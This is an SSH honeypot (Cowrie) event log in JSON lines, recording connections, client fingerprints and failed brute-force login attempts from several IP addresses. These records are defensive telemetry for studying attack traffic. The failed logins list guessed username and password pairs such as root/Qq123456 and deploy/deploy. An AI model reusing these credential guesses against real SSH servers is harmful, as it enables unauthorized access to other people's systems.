{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:16:29.725887Z","src_ip":"8.218.166.49","session":"052aa7cded89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345678","message":"login attempt [user/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:16:31.256312Z","src_ip":"47.86.95.62","session":"9fa8ee03fd1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq123456","message":"login attempt [root/Qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:16:32.584547Z","src_ip":"8.218.166.49","session":"052aa7cded89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"24.7","message":"Connection lost after 24.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:16:34.414230Z","src_ip":"47.86.95.62","session":"9fa8ee03fd1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:16:34.753453Z","src_ip":"8.218.166.49","session":"052aa7cded89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":38398,"dst_ip":"159.203.135.109","dst_port":22,"session":"52b51d0cc973","protocol":"ssh","message":"New connection: 2.57.122.238:38398 (159.203.135.109:22) [session: 52b51d0cc973]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:16:46.152814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:16:46.158254Z","src_ip":"2.57.122.238","session":"52b51d0cc973","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:16:46.258994Z","src_ip":"2.57.122.238","session":"52b51d0cc973","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:16:46.558865Z","src_ip":"2.57.122.238","session":"52b51d0cc973","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:16:47.661829Z","src_ip":"2.57.122.238","session":"52b51d0cc973","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":35520,"dst_ip":"10.17.0.5","dst_port":22,"session":"c624a04c2510","protocol":"ssh","message":"New connection: 8.218.166.49:35520 (10.17.0.5:22) [session: c624a04c2510]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:17:15.821181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:17:15.826356Z","src_ip":"8.218.166.49","session":"c624a04c2510","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":34916,"dst_ip":"10.17.0.5","dst_port":22,"session":"47ba00a3395e","protocol":"ssh","message":"New connection: 8.218.166.49:34916 (10.17.0.5:22) [session: 47ba00a3395e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:17:36.773674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:17:36.777552Z","src_ip":"8.218.166.49","session":"47ba00a3395e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":34922,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8a6495a3eeb","protocol":"ssh","message":"New connection: 8.218.166.49:34922 (10.17.0.5:22) [session: b8a6495a3eeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:17:42.128405Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":39216,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd73ae083426","protocol":"ssh","message":"New connection: 8.218.166.49:39216 (10.17.0.5:22) [session: bd73ae083426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:17:56.945530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:17:57.139592Z","src_ip":"8.218.166.49","session":"bd73ae083426","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":39722,"dst_ip":"10.17.0.5","dst_port":22,"session":"13e5d293b57d","protocol":"ssh","message":"New connection: 8.218.166.49:39722 (10.17.0.5:22) [session: 13e5d293b57d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:18:30.236260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:18:30.241149Z","src_ip":"8.218.166.49","session":"13e5d293b57d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:18:31.338019Z","src_ip":"8.218.166.49","session":"13e5d293b57d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy","message":"login attempt [deploy/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:18:32.695051Z","src_ip":"8.218.166.49","session":"13e5d293b57d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:18:36.044298Z","src_ip":"8.218.166.49","session":"13e5d293b57d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":35016,"dst_ip":"10.17.0.5","dst_port":22,"session":"de6c2d4c1901","protocol":"ssh","message":"New connection: 47.86.95.62:35016 (10.17.0.5:22) [session: de6c2d4c1901]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:18:46.851755Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:18:57.961426Z","src_ip":"8.218.166.49","session":"47ba00a3395e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":59062,"dst_ip":"159.203.135.109","dst_port":22,"session":"09fe6e899c7e","protocol":"ssh","message":"New connection: 2.57.122.238:59062 (159.203.135.109:22) [session: 09fe6e899c7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:18:58.194657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:18:58.199746Z","src_ip":"2.57.122.238","session":"09fe6e899c7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:18:58.300014Z","src_ip":"2.57.122.238","session":"09fe6e899c7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:18:58.600829Z","src_ip":"2.57.122.238","session":"09fe6e899c7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:18:59.703417Z","src_ip":"2.57.122.238","session":"09fe6e899c7e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:19:10.251180Z","src_ip":"8.218.166.49","session":"b8a6495a3eeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:19:10.255356Z","src_ip":"8.218.166.49","session":"b8a6495a3eeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:19:15.832264Z","src_ip":"8.218.166.49","session":"c624a04c2510","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:19:22.535629Z","src_ip":"8.218.166.49","session":"bd73ae083426","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:19:36.780637Z","src_ip":"8.218.166.49","session":"47ba00a3395e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:19:42.138782Z","src_ip":"8.218.166.49","session":"b8a6495a3eeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123","message":"login attempt [user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:19:54.859824Z","src_ip":"8.218.166.49","session":"bd73ae083426","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"119.6","message":"Connection lost after 119.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:19:56.516684Z","src_ip":"8.218.166.49","session":"bd73ae083426","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":34826,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbdf35733ee6","protocol":"ssh","message":"New connection: 45.148.10.121:34826 (10.17.0.5:22) [session: fbdf35733ee6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:20:01.528065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:20:01.533500Z","src_ip":"45.148.10.121","session":"fbdf35733ee6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:20:01.621372Z","src_ip":"45.148.10.121","session":"fbdf35733ee6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.190","src_port":35116,"dst_ip":"10.17.0.5","dst_port":22,"session":"128cad007e27","protocol":"ssh","message":"New connection: 176.65.132.190:35116 (10.17.0.5:22) [session: 128cad007e27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:20:03.833709Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:20:03.840140Z","src_ip":"176.65.132.190","session":"128cad007e27","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:20:13.105025Z","src_ip":"47.86.95.62","session":"de6c2d4c1901","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:20:13.109007Z","src_ip":"47.86.95.62","session":"de6c2d4c1901","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":45370,"dst_ip":"10.17.0.5","dst_port":22,"session":"6616dbe21b74","protocol":"ssh","message":"New connection: 8.218.166.49:45370 (10.17.0.5:22) [session: 6616dbe21b74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:20:28.443835Z"}
